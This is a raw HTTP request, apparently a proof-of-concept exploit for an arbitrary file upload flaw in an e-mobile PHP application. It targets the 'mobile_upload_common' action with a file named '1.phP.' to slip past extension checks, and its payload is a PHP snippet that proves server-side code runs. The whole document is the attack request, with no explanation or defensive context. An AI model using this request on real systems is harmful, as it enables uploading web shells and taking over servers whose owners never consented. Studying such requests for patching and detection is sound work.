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源码 
POST /e-mobile/app/Ajax/ajax.php?action=mobile_upload_common HTTP/1.1
Host: 192.168.17.139:8082
Content-Length: 223
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfpXTi6B3OoWU95DI
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryfpXTi6B3OoWU95DI
Content-Disposition: form-data; name="upload_quwan_common"; filename="1.phP."
Content-Type: application/octet-stream

<?php echo 123;?>
------WebKitFormBoundaryfpXTi6B3OoWU95DI--